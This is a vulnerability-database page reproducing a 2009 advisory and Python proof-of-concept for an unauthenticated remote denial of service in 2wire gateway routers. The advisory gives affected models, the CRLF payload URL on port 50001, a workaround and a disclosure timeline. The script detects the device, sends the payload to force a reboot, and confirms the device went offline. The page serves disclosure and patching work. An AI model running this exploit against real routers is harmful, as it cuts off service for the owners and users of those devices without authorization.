Lucene search
K

2wire Router <= 5.29.52 Remote DoS

🗓️ 29 Oct 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

2WIRE REMOTE DENIAL OF SERVICE on some 2wire Gateway Router/Modem models, release < 5.29.52, enables remote router reboot, caused by unauthenticated user through special URL

Code

                                                &quot;&quot;&quot;           ========================================
               2WIRE REMOTE DENIAL OF SERVICE
         ========================================


Device:		2wire Gateway Router/Modem
Vulnerable Software:	&lt; 5.29.52
Vulnerable Models:	1700HG
			1701HG
			1800HW
			2071
			2700HG
			2701HG-T
Release Date: 	2009-09-00
Last Update: 	2009-09-00
Critical: 	Moderately critical
Impact: 	Denial of service
		Remote router reboot
Where:		From remote
		In the remote management interface
Solution Status:	Vendor issued firmware patches
			Providers are in charge of applying the patches
WebVuln Advisory:	1-003


  BACKGROUND
=======================

The remote management interface of some 2wire modems is enabled by default.
This interface runs over SSL on port 50001 with an untrusted issuer certificate.

++Español
Algunos módems 2wire tienen la interfaz remota habilitada por default.
La interfaz utiliza SSL con un certificado invalido en el puerto 50001.


   DESCRIPTION
=======================

Some 2wire modems are vulnerable to a remote denial of service attack.
By requesting a special url from the Remote Management interface, an unathenticated
user can remotely reboot the complete device.

++
Algunos módems 2wire son vulnerables a un ataque de denegación de servicio.
Un usuario no autenticado puede reiniciar el dispositivo enviando una petición a
la interfaz de Administración remota.


  EXPLOIT / POC
=======================

 https://&lt;remoteIP&gt;:50001/xslt?page=%0d%0a


  WORKAROUND
=======================

Disable Remote Management in Firewall -&gt; Advanced Settings.

++
Deshabilitar Administración remota en Cortafuegos -&gt; Configuración avanzada


   DISCLOSURE TIMELINE
=======================

2009/09/06 - Vulnerability discovered
2009/09/08 - Vendor contacted


                  =======================

                           h k m
                        [email protected]
                    http://www.hakim.ws

                  =======================
Greets:
preth00nker, DromoroK, mr.ebola, Javier, d0ct0r_4rz0v1zp0, ch@vez, fito, HL, Xianur0, Pr@fEs0r X, Daemon.


  REFERENCES
=======================

Preth00nker's exploit (LAN) - http://www.milw0rm.com/exploits/2246
2Wire Gateways CRLF DoS (from local network) - http://secunia.com/advisories/21583
Hakim.Ws - http://www.hakim.ws
WebVuln - http://www.webvuln.com&quot;&quot;&quot;

#  POC
#=======================

print &quot;\n     #################################################&quot;
print &quot;    #         2WIRE REMOTE DoS (FW =&lt; 5.29.52)       #&quot;
print &quot;   #                                               #&quot;
print &quot;  #                  [email protected]                 #&quot;
print &quot; #################################################\n&quot;

import socket, sys, urllib2 

socket.setdefaulttimeout(4)

try:
	ip = sys.argv[1]
except:
	print &quot; [IP ERROR] -&gt; python 2os.py 123.123.123.123\n&quot;
	sys.exit()

if not len(ip.split(&quot;.&quot;)) == 4:
	print &quot; [IP ERROR] -&gt; python 2os.py 123.123.123.123\n&quot;
	sys.exit()

print &quot; [ ] Detectando el dispositivo&quot;
try:
	server = str(urllib2.urlopen(urllib2.Request(&quot;https://&quot;+str(ip)+&quot;:50001/xslt?page=CD35_SETUP_01&quot;)).info())
	print &quot; [+] Detectado &quot;+server[int(server.find(&quot;Server:&quot;))+8:int(server.find(&quot;\n&quot;,int(server.find(&quot;Server:&quot;))))]
except:
	print &quot; [-] No detectado\n&quot;
	sys.exit()

print &quot; [ ] Lanzando el ataque&quot;
try:	str(urllib2.urlopen(urllib2.Request(&quot;https://&quot;+str(ip)+&quot;:50001/xslt?page=%0d%0a&quot;)).read())
except:	pass

try:
	server = str(urllib2.urlopen(urllib2.Request(&quot;https://&quot;+str(ip)+&quot;:50001/xslt?page=CD35_SETUP_01&quot;)).info())
	print &quot; [-] No vulnerable\n&quot;
except:
	print &quot; [+] MODEM RESETADO! EAEA!\n&quot;
	sys.exit()


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation